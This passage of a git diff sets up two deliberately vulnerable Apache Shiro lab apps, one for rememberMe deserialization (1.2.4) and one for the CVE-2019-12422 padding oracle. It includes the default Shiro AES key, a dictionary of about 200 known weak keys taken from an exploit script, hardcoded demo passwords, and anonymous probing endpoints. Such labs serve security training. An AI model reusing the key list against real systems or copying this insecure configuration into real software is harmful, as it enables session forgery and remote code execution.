shior-1.2.4 + 1.0-SNAPSHOT + + + 1.8 + 1.8 + 1.8 + + + + org.springframework.boot + spring-boot-starter-parent + 1.5.22.RELEASE + + + + + org.springframework.boot + spring-boot-starter-web + + + org.apache.shiro + shiro-spring + 1.2.4 + + + + + + + org.springframework.boot + spring-boot-maven-plugin + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-resources-plugin + 3.0.2 + + + org.apache.maven.plugins + maven-jar-plugin + 2.4 + + + + diff --git a/shior-1.2.4/src/main/java/com/myapp/MyApplication.java b/shior-1.2.4/src/main/java/com/myapp/MyApplication.java new file mode 100644 index 0000000..ea971cb --- /dev/null +++ b/shior-1.2.4/src/main/java/com/myapp/MyApplication.java @@ -0,0 +1,11 @@ +package com.myapp; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class MyApplication { + public static void main(String[] args) { + SpringApplication.run(MyApplication.class, args); + } +} diff --git a/shior-1.2.4/src/main/java/com/myapp/config/ShiroConfig.java b/shior-1.2.4/src/main/java/com/myapp/config/ShiroConfig.java new file mode 100644 index 0000000..447efa7 --- /dev/null +++ b/shior-1.2.4/src/main/java/com/myapp/config/ShiroConfig.java @@ -0,0 +1,97 @@ +package com.myapp.config; + +import org.apache.shiro.mgt.SecurityManager; +import org.apache.shiro.realm.Realm; +import org.apache.shiro.realm.SimpleAccountRealm; +import org.apache.shiro.spring.LifecycleBeanPostProcessor; +import org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor; +import org.apache.shiro.spring.web.ShiroFilterFactoryBean; +import org.apache.shiro.web.mgt.CookieRememberMeManager; +import org.apache.shiro.web.mgt.DefaultWebSecurityManager; +import org.apache.shiro.web.servlet.SimpleCookie; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.filter.DelegatingFilterProxy; + +import javax.servlet.DispatcherType; +import java.util.LinkedHashMap; +import java.util.Map; + +@Configuration +public class ShiroConfig { + + @Bean + public Realm realm() { + SimpleAccountRealm realm = new SimpleAccountRealm(); + realm.addAccount("admin", "admin123", "admin"); + realm.addAccount("user", "user123", "user"); + return realm; + } + + @Bean + public CookieRememberMeManager rememberMeManager() { + CookieRememberMeManager rememberMeManager = new CookieRememberMeManager(); + SimpleCookie cookie = new SimpleCookie("rememberMe"); + cookie.setHttpOnly(true); + cookie.setMaxAge(7 * 24 * 60 * 60); + rememberMeManager.setCookie(cookie); + return rememberMeManager; + } + + @Bean + public SecurityManager securityManager(Realm realm, CookieRememberMeManager rememberMeManager) { + DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager(); + securityManager.setRealm(realm); + securityManager.setRememberMeManager(rememberMeManager); + return securityManager; + } + + @Bean(name = "shiroFilter") + public ShiroFilterFactoryBean shiroFilter(SecurityManager securityManager) { + ShiroFilterFactoryBean factoryBean = new ShiroFilterFactoryBean(); + factoryBean.setSecurityManager(securityManager); + factoryBean.setLoginUrl("/login-page"); + factoryBean.setSuccessUrl("/profile"); + factoryBean.setUnauthorizedUrl("/login-page"); + + Map filterChainDefinitionMap = new LinkedHashMap(); + filterChainDefinitionMap.put("/", "anon"); + filterChainDefinitionMap.put("/login-page", "anon"); + filterChainDefinitionMap.put("/shiro-1.2.4", "anon"); + filterChainDefinitionMap.put("/login", "anon"); + filterChainDefinitionMap.put("/rememberme/check", "anon"); + filterChainDefinitionMap.put("/rememberme/dictionary", "anon"); + filterChainDefinitionMap.put("/rememberme/scan", "anon"); + filterChainDefinitionMap.put("/health", "anon"); + filterChainDefinitionMap.put("/logout", "logout"); + filterChainDefinitionMap.put("/**", "user"); + factoryBean.setFilterChainDefinitionMap(filterChainDefinitionMap); + return factoryBean; + } + + @Bean + public FilterRegistrationBean shiroFilterRegistration() { + FilterRegistrationBean registration = new FilterRegistrationBean(); + DelegatingFilterProxy filterProxy = new DelegatingFilterProxy("shiroFilter"); + filterProxy.setTargetFilterLifecycle(true); + registration.setFilter(filterProxy); + registration.addUrlPatterns("/*"); + registration.setDispatcherTypes(DispatcherType.REQUEST, DispatcherType.FORWARD, DispatcherType.INCLUDE, DispatcherType.ERROR); + registration.setName("shiroFilter"); + registration.setOrder(1); + return registration; + } + + @Bean + public LifecycleBeanPostProcessor lifecycleBeanPostProcessor() { + return new LifecycleBeanPostProcessor(); + } + + @Bean + public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager) { + AuthorizationAttributeSourceAdvisor advisor = new AuthorizationAttributeSourceAdvisor(); + advisor.setSecurityManager(securityManager); + return advisor; + } +} diff --git a/shior-1.2.4/src/main/java/com/myapp/controller/ShiroController.java b/shior-1.2.4/src/main/java/com/myapp/controller/ShiroController.java new file mode 100644 index 0000000..f7166a6 --- /dev/null +++ b/shior-1.2.4/src/main/java/com/myapp/controller/ShiroController.java @@ -0,0 +1,246 @@ +package com.myapp.controller; + +import com.myapp.support.ShiroWeakKeySupport; +import org.apache.shiro.SecurityUtils; +import org.apache.shiro.authc.AuthenticationException; +import org.apache.shiro.authc.UsernamePasswordToken; +import org.apache.shiro.subject.Subject; +import org.apache.shiro.web.mgt.CookieRememberMeManager; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +@RestController +public class ShiroController { + + private final CookieRememberMeManager rememberMeManager; + + public ShiroController(CookieRememberMeManager rememberMeManager) { + this.rememberMeManager = rememberMeManager; + } + + @GetMapping(value = {"/", "/login-page", "/shiro-1.2.4"}, produces = "text/html;charset=UTF-8") + public String index() { + return "\n" + + "\n" + + "\n" + + " \n" + + " \n" + + " Apache Shiro 1.2.4 测试页\n" + + " \n" + + "\n" + + "\n" + + "
\n" + + "
\n" + + "

Apache Shiro 1.2.4 RememberMe 测试页

\n" + + "

这个靶场保留了 Shiro 1.2.4 的 rememberMe 漏洞配置,并增加了一个本地弱 key 检测面板,检测字典直接来自你提供的 shiro-exploit 脚本。

\n" + + "
    \n" + + "
  • 演示用户:user / user123
  • \n" + + "
  • 演示管理员:admin / admin123
  • \n" + + "
  • 默认 Shiro key:" + ShiroWeakKeySupport.DEFAULT_KEY + "
  • \n" + + "
\n" + + "
\n" + + "
\n" + + "

弱 Key 检测

\n" + + "

检测逻辑会从当前运行中的 CookieRememberMeManager 里读取 rememberMe 实际密钥,再和 shiro-exploit 脚本中的完整 key 字典进行比对。

\n" + + "
\n" + + " \n" + + " \n" + + " \n" + + "
\n" + + "
等待检测...
\n" + + "

当前 rememberMe key

\n" + + "
-
\n" + + "

遍历进度

\n" + + "
等待开始...
\n" + + "

脚本 Key 字典

\n" + + " \n" + + "
\n" + + "
\n" + + "

RememberMe 登录验证

\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + "
\n" + + " \n" + + " \n" + + " \n" + + " \n" + + "
\n" + + " \n" + + "
\n" + + "
\n" + + " \n" + + "\n" + + ""; + } + + @PostMapping(value = "/login", produces = "text/plain;charset=UTF-8") + public String login(@RequestParam String username, + @RequestParam String password, + @RequestParam(defaultValue = "false") boolean rememberMe) { + Subject subject = SecurityUtils.getSubject(); + UsernamePasswordToken token = new UsernamePasswordToken(username, password, rememberMe); + try { + subject.login(token); + return "登录成功,rememberMe=" + rememberMe + "。你可以访问 /profile 查看当前 subject 状态。"; + } catch (AuthenticationException ex) { + return "登录失败:" + ex.getMessage(); + } + } + + @GetMapping(value = "/rememberme/check", produces = "application/json;charset=UTF-8") + public Map rememberMeCheck() { + String currentKey = ShiroWeakKeySupport.extractCurrentKeyBase64(rememberMeManager); + List dictionary = ShiroWeakKeySupport.SCRIPT_KEYS; + boolean inDictionary = currentKey != null && dictionary.contains(currentKey); + boolean isDefaultKey = ShiroWeakKeySupport.DEFAULT_KEY.equals(currentKey); + Integer matchIndex = currentKey == null ? null : dictionary.indexOf(currentKey); + + Map result = new LinkedHashMap(); + result.put("currentKey", currentKey); + result.put("inDictionary", inDictionary); + result.put("isDefaultKey", isDefaultKey); + result.put("matchIndex", matchIndex >= 0 ? matchIndex : null); + result.put("dictionarySize", dictionary.size()); + result.put("message", buildMessage(currentKey, inDictionary, isDefaultKey)); + return result; + } + + @GetMapping(value = "/rememberme/dictionary", produces = "application/json;charset=UTF-8") + public Map rememberMeDictionary() { + Map result = new LinkedHashMap(); + result.put("keys", ShiroWeakKeySupport.SCRIPT_KEYS); + return result; + } + + @GetMapping(value = "/rememberme/scan", produces = "application/json;charset=UTF-8") + public Map rememberMeScan() { + String currentKey = ShiroWeakKeySupport.extractCurrentKeyBase64(rememberMeManager); + List dictionary = ShiroWeakKeySupport.SCRIPT_KEYS; + int checkedCount = 0; + Integer matchIndex = null; + String matchedKey = null; + + for (int i = 0; i < dictionary.size(); i++) { + checkedCount++; + String candidate = dictionary.get(i); + if (candidate.equals(currentKey)) { + matchIndex = i; + matchedKey = candidate; + break; + } + } + + Map result = new LinkedHashMap(); + result.put("currentKey", currentKey); + result.put("checkedCount", checkedCount); + result.put("dictionarySize", dictionary.size()); + result.put("matchIndex", matchIndex); + result.put("matchedKey", matchedKey); + result.put("keys", dictionary); + return result; + } + + @GetMapping(value = "/profile", produces = "text/plain;charset=UTF-8") + public String profile() { + Subject subject = SecurityUtils.getSubject(); + String principal = subject.getPrincipal() == null ? "anonymous" : subject.getPrincipal().toString(); + return "principal=" + principal + + ", authenticated=" + subject.isAuthenticated() + + ", remembered=" + subject.isRemembered(); + } + + @GetMapping(value = "/admin", produces = "text/plain;charset=UTF-8") + public String admin() { + Subject subject = SecurityUtils.getSubject(); + return "admin resource reached by " + subject.getPrincipal(); + } + + @GetMapping(value = "/health", produces = "text/plain;charset=UTF-8") + public String health() { + return "ok"; + } + + private String buildMessage(String currentKey, boolean inDictionary, boolean isDefaultKey) { + if (currentKey == null) { + return "无法从 CookieRememberMeManager 中提取当前 rememberMe key。"; + } + if (isDefaultKey) { + return "当前 rememberMe key 就是 Shiro 默认 key,并且存在于脚本字典中。"; + } + if (inDictionary) { + return "当前 rememberMe key 命中了脚本字典中的弱 key。"; + } + return "当前 rememberMe key 已成功提取,且没有出现在脚本字典中。"; + } +} diff --git a/shior-1.2.4/src/main/java/com/myapp/support/ShiroWeakKeySupport.java b/shior-1.2.4/src/main/java/com/myapp/support/ShiroWeakKeySupport.java new file mode 100644 index 0000000..0ec7e29 --- /dev/null +++ b/shior-1.2.4/src/main/java/com/myapp/support/ShiroWeakKeySupport.java @@ -0,0 +1,86 @@ +package com.myapp.support; + +import org.apache.shiro.web.mgt.CookieRememberMeManager; + +import java.lang.reflect.Field; +import java.util.Arrays; +import java.util.Base64; +import java.util.Collections; +import java.util.List; + +public final class ShiroWeakKeySupport { + + public static final String DEFAULT_KEY = "kPH+bIxk5D2deZiIxcaaaA=="; + + public static final List SCRIPT_KEYS = Collections.unmodifiableList(Arrays.asList( + "kPH+bIxk5D2deZiIxcaaaA==", "4AvVhmFLUs0KTA3Kprsdag==", "fCq+/xW488hMTCE+cmJ3FF==", "zSyK5Kp6PZAAjlT+eeNMlg==", "WkhBTkdYSUFPSEVJX0NBVA==", + "RVZBTk5JR0hUTFlfV0FPVQ==", "U3ByaW5nQmxhZGUAAAAAAA==", "cGljYXMAAAAAAAAAAAAAAA==", "d2ViUmVtZW1iZXJNZUtleQ==", "fsHspZw/92PrS3XrPW+vxw==", + "sHdIjUN6tzhl8xZMG3ULCQ==", "WuB+y2gcHRnY2Lg9+Aqmqg==", "ertVhmFLUs0KTA3Kprsdag==", "2itfW92XazYRi5ltW0M2yA==", "6ZmI6I2j3Y+R1aSn5BOlAA==", + "f/SY5TIve5WWzT4aQlABJA==", "Jt3C93kMR9D5e8QzwfsiMw==", "aU1pcmFjbGVpTWlyYWNsZQ==", "XTx6CKLo/SdSgub+OPHSrw==", "8AvVhmFLUs0KTA3Kprsdag==", + "66v1O8keKNV3TTcGPK1wzg==", "Q01TX0JGTFlLRVlfMjAxOQ==", "5AvVhmFLUS0ATA4Kprsdag==", "ZmFsYWRvLnh5ei5zaGlybw==", "0AvVhmFLUs0KTA3Kprsdag==", + "r0e3c16IdVkouZgk1TKVMg==", "Z3VucwAAAAAAAAAAAAAAAA==", "5J7bIJIV0LQSN3c9LPitBQ==", "ZnJlc2h6Y24xMjM0NTY3OA==", "yeAAo1E8BOeAYfBlm4NG9Q==", + "a3dvbmcAAAAAAAAAAAAAAA==", "4BvVhmFLUs0KTA3Kprsdag==", "s0KTA3mFLUprK4AvVhsdag==", "yNeUgSzL/CfiWw1GALg6Ag==", "OY//C4rhfwNxCQAQCrQQ1Q==", + "fCq+/xW488hMTCD+cmJ3aQ==", "ZAvph3dsQs0FSL3SDFAdag==", "MTIzNDU2NzgxMjM0NTY3OA==", "1AvVhdsgUs0FSA3SDFAdag==", "Bf7MfkNR0axGGptozrebag==", + "1QWLxg+NYmxraMoxAXu/Iw==", "6AvVhmFLUs0KTA3Kprsdag==", "6NfXkC7YVCV5DASIrEm1Rg==", "2AvVhdsgUs0FSA3SDFAdag==", "9FvVhtFLUs0KnA3Kprsdyg==", + "OUHYQzxQ/W9e/UjiAGu6rg==", "ClLk69oNcA3m+s0jIMIkpg==", "vXP33AonIp9bFwGl7aT7rA==", "NGk/3cQ6F5/UNPRh8LpMIg==", "MPdCMZ9urzEA50JDlDYYDg==", + "c2hpcm9fYmF0aXMzMgAAAA==", "XgGkgqGqYrix9lI6vxcrRw==", "2A2V+RFLUs+eTA3Kpr+dag==", "5AvVhmFLUs0KTA3Kprsdag==", "3AvVhmFLUs0KTA3Kprsdag==", + "WcfHGU25gNnTxTlmJMeSpw==", "bWljcm9zAAAAAAAAAAAAAA==", "bWluZS1hc3NldC1rZXk6QQ==", "bXRvbnMAAAAAAAAAAAAAAA==", "6ZmI6I2j5Y+R5aSn5ZOlAA==", + "3JvYhmBLUs0ETA5Kprsdag==", "A7UzJgh1+EWj5oBFi+mSgw==", "Is9zJ3pzNh2cgTHB4ua3+Q==", "25BsmdYwjnfcWmnhAciDDg==", "cmVtZW1iZXJNZQAAAAAAAA==", + "7AvVhmFLUs0KTA3Kprsdag==", "3qDVdLawoIr1xFd6ietnwg==", "Y1JxNSPXVwMkyvES/kJGeQ==", "xVmmoltfpb8tTceuT5R7Bw==", "O4pdf+7e+mZe8NyxMTPJmQ==", + "SDKOLKn2J1j/2BHjeZwAoQ==", "a2VlcE9uR29pbmdBbmRGaQ==", "V2hhdCBUaGUgSGVsbAAAAA==", "GAevYnznvgNCURavBhCr1w==", "hBlzKg78ajaZuTE0VLzDDg==", + "2cVtiE83c4lIrELJwKGJUw==", "U3BAbW5nQmxhZGUAAAAAAA==", "9AvVhmFLUs0KTA3Kprsdag==", "SkZpbmFsQmxhZGUAAAAAAA==", "lT2UvDUmQwewm6mMoiw4Ig==", + "HWrBltGvEZc14h9VpMvZWw==", "wGiHplamyXlVB11UXWol8g==", "8BvVhmFLUs0KTA3Kprsdag==", "bya2HkYo57u6fWh5theAWw==", "IduElDUpDDXE677ZkhhKnQ==", + "1tC/xrDYs8ey+sa3emtiYw==", "MTIzNDU2Nzg5MGFiY2RlZg==", "c+3hFGPjbgzGdrC+MHgoRQ==", "rPNqM6uKFCyaL10AK51UkQ==", "5aaC5qKm5oqA5pyvAAAAAA==", + "cGhyYWNrY3RmREUhfiMkZA==", "MzVeSkYyWTI2OFVLZjRzZg==", "YI1+nBV//m7ELrIyDHm6DQ==", "empodDEyMwAAAAAAAAAAAA==", "NsZXjXVklWPZwOfkvk6kUA==", + "ZUdsaGJuSmxibVI2ZHc9PQ==", "L7RioUULEFhRyxM7a2R/Yg==", "i45FVt72K2kLgvFrJtoZRw==", "bXdrXl9eNjY2KjA3Z2otPQ==", "sgIQrqUVxa1OZRRIK3hLZw==", + "tiVV6g3uZBGfgshesAQbjA==", "GsHaWo4m1eNbE0kNSMULhg==", "l8cc6d2xpkT1yFtLIcLHCg==", "KU471rVNQ6k7PQL4SqxgJg==", "6Zm+6I2j5Y+R5aS+5ZOlAA==", + "kPH+bIxk5D2deZiIxcabaA==", "kPH+bIxk5D2deZiIxcacaA==", "3AvVhdAgUs0FSA4SDFAdBg==", "4AvVhdsgUs0F563SDFAdag==", "FL9HL9Yu5bVUJ0PDU1ySvg==", + "5RC7uBZLkByfFfJm22q/Zw==", "eXNmAAAAAAAAAAAAAAAAAA==", "fdCEiK9YvLC668sS43CJ6A==", "FJoQCiz0z5XWz2N2LyxNww==", "HeUZ/LvgkO7nsa18ZyVxWQ==", + "HoTP07fJPKIRLOWoVXmv+Q==", "iycgIIyCatQofd0XXxbzEg==", "m0/5ZZ9L4jjQXn7MREr/bw==", "NoIw91X9GSiCrLCF03ZGZw==", "oPH+bIxk5E2enZiIxcqaaA==", + "QAk0rp8sG0uJC4Ke2baYNA==", "Rb5RN+LofDWJlzWAwsXzxg==", "s2SE9y32PvLeYo+VGFpcKA==", "SrpFBcVD89eTQ2icOD0TMg==", "U0hGX2d1bnMAAAAAAAAAAA==", + "Us0KvVhTeasAm43KFLAeng==", "Ymx1ZXdoYWxlAAAAAAAAAA==", "YWJjZGRjYmFhYmNkZGNiYQ==", "zIiHplamyXlVB11UXWol8g==", "ZjQyMTJiNTJhZGZmYjFjMQ==", + "HOlg7NHb9potm0n5s4ic0Q==", "2AvVhdsgUs0FSA3SaFAdfg==", "4rvVhmFLUs0KAT3Kprsdag==", "AF05JAuyuEB1ouJQ9Y9Phg==", "UGlzMjAxNiVLeUVlXiEjLw==", + "2AvVhdsgERdsSA3SDFAdag==", "QF5HMyZAWDZYRyFnSGhTdQ==", "8AvVhdsgUs0FSA3SDFAdag==", "4AvVhmFLUs5KTA1Kprsdag==", "4WCZSJyqdUQsije93aQIRg==", + "3rvVhmFLUs0KAT3Kprsdag==", "b2EAAAAAAAAAAAAAAAAAAA==", "3AvVhMFLIs0KTA3Kprsdag==", "4AvVhm2LUs0KTA3Kprsdag==", "2AvVCXsxUs0FSA7SYFjdQg==", + "Cj6LnKZNLEowAZrdqyH/Ew==", "3qDVdLawoIr1xFd6ietnsg==", "2AvVhdsgUsOFSA3SDFAdag==", "FP7qKJzdJOGkzoQzo2wTmA==", "wyLZMDifwq3sW1vhhHpgKA==", + "5AvVhCsgUs0FSA3SDFAdag==", "pbnA+Qzen1vjV3rNqQBLHg==", "GhrF5zLfq1Dtadd1jlohhA==", "2AvVhmFLUs0KTA3Kprsdag==", "mIccZhQt6EBHrZIyw1FAXQ==", + "4AvVhmFLUs0KTA3Kprseaf==", "GHxH6G3LFh8Zb3NwoRgfFA==", "B9rPF8FHhxKJZ9k63ik7kQ==", "3AvVhmFLUs0KTA3KaTHGFg==", "M2djA70UBBUPDibGZBRvrA==", + "QDFCnfkLUs0KTA3Kprsdag==", "2adsfasdqerqerqewradsf==", "3Av2hmFLAs0BTA3Kprsd6E==", "4AvVhmFLUsOKTA3Kprsdag==", "Z3VucwACAOVAKALACAADSA==", + "4AvVhmFLUs0KTA3KAAAAAA==", "sBv2t3okbdm3U0r2EVcSzB==", "5oiR5piv5p2h5ZK46bG8IQ==", "TGMPe7lGO/Gbr38QiJu1/w==", "4AvVhmFLUs0TTA3Kprsdag==", + "YWdlbnRAZG1AMjAxOHN3Zg==", "Z3VucwAAAAAAAAAAAAABBB==", "AztiX2RUqhc7dhOzl1Mj8Q==", "FjbNm1avvGmWE9CY2HqV75==", "QVN1bm5uJ3MgU3Vuc2l0ZQ==", + "9Ami6v2G5Y+r5aPnE4OlBB==", "2AvVidsaUSofSA3SDFAdog==", "3AvVhdAgUs1FSA4SDFAdBg==", "R29yZG9uV2ViAAAAAAAAAA==", "wrjUh2ttBPQLnT4JVhriug==", + "w793pPq5ZVBKkj8OhV4KaQ==", "c2hvdWtlLXBsdXMuMjAxNg==", "pyyX1c5x2f0LZZ7VKZXjKO==", "duhfin37x6chw29jsne45m==", "QUxQSEFNWVNPRlRCVUlMRA==", + "YVd4dmRtVjViM1UlM0QIdn==", "YnlhdnMAAAAAAAAAAAAAAA==", "YystomRZLMUjiK0Q1+LFdw==", "2AvVhdsgUs0FSA3SDFAder==", "A+kWR7o9O0/G/W6aOGesRA==", + "kPv59vyqzj00x11LXJZTjJ2UHW48jzHN" + )); + + private ShiroWeakKeySupport() { + } + + public static String extractCurrentKeyBase64(CookieRememberMeManager rememberMeManager) { + Object key = readField(rememberMeManager, "encryptionCipherKey"); + if (!(key instanceof byte[])) { + key = readField(rememberMeManager, "decryptionCipherKey"); + } + if (key instanceof byte[]) { + return Base64.getEncoder().encodeToString((byte[]) key); + } + return null; + } + + private static Object readField(Object target, String fieldName) { + Class type = target.getClass(); + while (type != null) { + try { + Field field = type.getDeclaredField(fieldName); + field.setAccessible(true); + return field.get(target); + } catch (NoSuchFieldException ex) { + type = type.getSuperclass(); + } catch (IllegalAccessException ex) { + throw new IllegalStateException("Unable to read field: " + fieldName, ex); + } + } + return null; + } +} diff --git a/shior-1.2.4/src/main/resources/application.properties b/shior-1.2.4/src/main/resources/application.properties new file mode 100644 index 0000000..5664c94 --- /dev/null +++ b/shior-1.2.4/src/main/resources/application.properties @@ -0,0 +1,3 @@ +server.port=8080 +server.servlet.session.timeout=30m +logging.level.org.apache.shiro=INFO diff --git a/shiro-1.25_1.42/Dockerfile b/shiro-1.25_1.42/Dockerfile new file mode 100644 index 0000000..e448d96 --- /dev/null +++ b/shiro-1.25_1.42/Dockerfile @@ -0,0 +1,9 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/shiro +WORKDIR /opt/shiro +RUN mvn package -DskipTests + +FROM wushangleon/java:jdk8u112 +COPY --from=builder /opt/shiro/target/shiro-1.25_1.42-1.0-SNAPSHOT.jar /opt/app.jar +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/shiro-1.25_1.42/Dockerfile_local b/shiro-1.25_1.42/Dockerfile_local new file mode 100644 index 0000000..053d33c --- /dev/null +++ b/shiro-1.25_1.42/Dockerfile_local @@ -0,0 +1,3 @@ +FROM wushangleon/java:jdk8u112 +COPY target/shiro-1.25_1.42-1.0-SNAPSHOT.jar /opt/app.jar +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/shiro-1.25_1.42/pom.xml b/shiro-1.25_1.42/pom.xml new file mode 100644 index 0000000..3513144 --- /dev/null +++ b/shiro-1.25_1.42/pom.xml @@ -0,0 +1,62 @@ + + + 4.0.0 + + org.example + shiro-1.25_1.42 + 1.0-SNAPSHOT + + + 1.8 + 1.8 + 1.8 + + + + org.springframework.boot + spring-boot-starter-parent + 1.5.22.RELEASE + + + + + org.springframework.boot + spring-boot-starter-web + + + org.apache.shiro + shiro-spring + 1.4.1 + + + + + + + org.springframework.boot + spring-boot-maven-plugin + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-resources-plugin + 3.0.2 + + + org.apache.maven.plugins + maven-jar-plugin + 2.4 + + + + diff --git a/shiro-1.25_1.42/src/main/java/com/myapp/MyApplication.java b/shiro-1.25_1.42/src/main/java/com/myapp/MyApplication.java new file mode 100644 index 0000000..ea971cb --- /dev/null +++ b/shiro-1.25_1.42/src/main/java/com/myapp/MyApplication.java @@ -0,0 +1,11 @@ +package com.myapp; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class MyApplication { + public static void main(String[] args) { + SpringApplication.run(MyApplication.class, args); + } +} diff --git a/shiro-1.25_1.42/src/main/java/com/myapp/config/ShiroConfig.java b/shiro-1.25_1.42/src/main/java/com/myapp/config/ShiroConfig.java new file mode 100644 index 0000000..4249406 --- /dev/null +++ b/shiro-1.25_1.42/src/main/java/com/myapp/config/ShiroConfig.java @@ -0,0 +1,101 @@ +package com.myapp.config; + +import com.myapp.support.RememberMeOracleService; +import org.apache.shiro.mgt.SecurityManager; +import org.apache.shiro.realm.Realm; +import org.apache.shiro.realm.SimpleAccountRealm; +import org.apache.shiro.spring.LifecycleBeanPostProcessor; +import org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor; +import org.apache.shiro.spring.web.ShiroFilterFactoryBean; +import org.apache.shiro.web.mgt.CookieRememberMeManager; +import org.apache.shiro.web.mgt.DefaultWebSecurityManager; +import org.apache.shiro.web.servlet.SimpleCookie; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.filter.DelegatingFilterProxy; + +import javax.servlet.DispatcherType; +import java.util.LinkedHashMap; +import java.util.Map; + +@Configuration +public class ShiroConfig { + + @Bean + public Realm realm() { + SimpleAccountRealm realm = new SimpleAccountRealm(); + realm.addAccount("admin", "admin123", "admin"); + realm.addAccount("user", "user123", "user"); + return realm; + } + + @Bean + public CookieRememberMeManager rememberMeManager(RememberMeOracleService oracleService) { + CookieRememberMeManager rememberMeManager = new CookieRememberMeManager(); + SimpleCookie cookie = new SimpleCookie("rememberMe"); + cookie.setHttpOnly(true); + cookie.setMaxAge(7 * 24 * 60 * 60); + rememberMeManager.setCookie(cookie); + oracleService.applyDemoKey(rememberMeManager); + return rememberMeManager; + } + + @Bean + public SecurityManager securityManager(Realm realm, CookieRememberMeManager rememberMeManager) { + DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager(); + securityManager.setRealm(realm); + securityManager.setRememberMeManager(rememberMeManager); + return securityManager; + } + + @Bean(name = "shiroFilter") + public ShiroFilterFactoryBean shiroFilter(SecurityManager securityManager) { + ShiroFilterFactoryBean factoryBean = new ShiroFilterFactoryBean(); + factoryBean.setSecurityManager(securityManager); + factoryBean.setLoginUrl("/login-page"); + factoryBean.setSuccessUrl("/profile"); + factoryBean.setUnauthorizedUrl("/login-page"); + + Map chain = new LinkedHashMap(); + chain.put("/", "anon"); + chain.put("/login-page", "anon"); + chain.put("/shiro-1.25_1.42", "anon"); + chain.put("/login", "anon"); + chain.put("/oracle/sample", "anon"); + chain.put("/oracle/probe", "anon"); + chain.put("/oracle/mutate", "anon"); + chain.put("/oracle/sweep", "anon"); + chain.put("/oracle/info", "anon"); + chain.put("/health", "anon"); + chain.put("/logout", "logout"); + chain.put("/**", "user"); + factoryBean.setFilterChainDefinitionMap(chain); + return factoryBean; + } + + @Bean + public FilterRegistrationBean shiroFilterRegistration() { + FilterRegistrationBean registration = new FilterRegistrationBean(); + DelegatingFilterProxy filterProxy = new DelegatingFilterProxy("shiroFilter"); + filterProxy.setTargetFilterLifecycle(true); + registration.setFilter(filterProxy); + registration.addUrlPatterns("/*"); + registration.setDispatcherTypes(DispatcherType.REQUEST, DispatcherType.FORWARD, DispatcherType.INCLUDE, DispatcherType.ERROR); + registration.setName("shiroFilter"); + registration.setOrder(1); + return registration; + } + + @Bean + public LifecycleBeanPostProcessor lifecycleBeanPostProcessor() { + return new LifecycleBeanPostProcessor(); + } + + @Bean + public AuthorizationAttributeSourceAdvisor authorizationAttributeSourceAdvisor(SecurityManager securityManager) { + AuthorizationAttributeSourceAdvisor advisor = new AuthorizationAttributeSourceAdvisor(); + advisor.setSecurityManager(securityManager); + return advisor; + } +} diff --git a/shiro-1.25_1.42/src/main/java/com/myapp/controller/ShiroPaddingOracleController.java b/shiro-1.25_1.42/src/main/java/com/myapp/controller/ShiroPaddingOracleController.java new file mode 100644 index 0000000..b09c1b4 --- /dev/null +++ b/shiro-1.25_1.42/src/main/java/com/myapp/controller/ShiroPaddingOracleController.java @@ -0,0 +1,303 @@ +package com.myapp.controller; + +import com.myapp.support.RememberMeOracleService; +import com.myapp.support.RememberMeOracleService.OracleResult; +import org.apache.shiro.SecurityUtils; +import org.apache.shiro.authc.AuthenticationException; +import org.apache.shiro.authc.UsernamePasswordToken; +import org.apache.shiro.subject.Subject; +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.RestController; + +import java.util.Arrays; +import java.util.LinkedHashMap; +import java.util.Map; + +@RestController +public class ShiroPaddingOracleController { + + private final RememberMeOracleService oracleService; + + public ShiroPaddingOracleController(RememberMeOracleService oracleService) { + this.oracleService = oracleService; + } + + @GetMapping(value = {"/", "/login-page", "/shiro-1.25_1.42"}, produces = "text/html;charset=UTF-8") + public String index() { + return "\n" + + "\n" + + "\n" + + " \n" + + " \n" + + " Shiro 1.2.5-1.4.1 Padding Oracle 靶场\n" + + " \n" + + "\n" + + "\n" + + "
\n" + + "
\n" + + "

Apache Shiro 1.2.5 - 1.4.1 Padding Oracle 靶场

\n" + + "

该靶场聚焦 CVE-2019-12422。通过比较畸形 rememberMe Cookie 在 AES-CBC 下触发的不同状态码,演示 Oracle 差异行为。

\n" + + "
\n" + + " 受影响版本: 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1\n" + + " 修复版本: 1.4.2\n" + + "
\n" + + "

本地演示 key: " + RememberMeOracleService.DEMO_KEY_BASE64 + "

\n" + + "
\n" + + "
\n" + + "
\n" + + "

样本与探测

\n" + + "
\n" + + " \n" + + " \n" + + " \n" + + "
\n" + + "

rememberMe Cookie

\n" + + " \n" + + "
\n" + + " \n" + + " \n" + + "
\n" + + "
等待操作...
\n" + + "
\n" + + "
\n" + + "

单字节翻转

\n" + + "

对单个字节执行 XOR 翻转,并立即测试变异后的 Cookie。

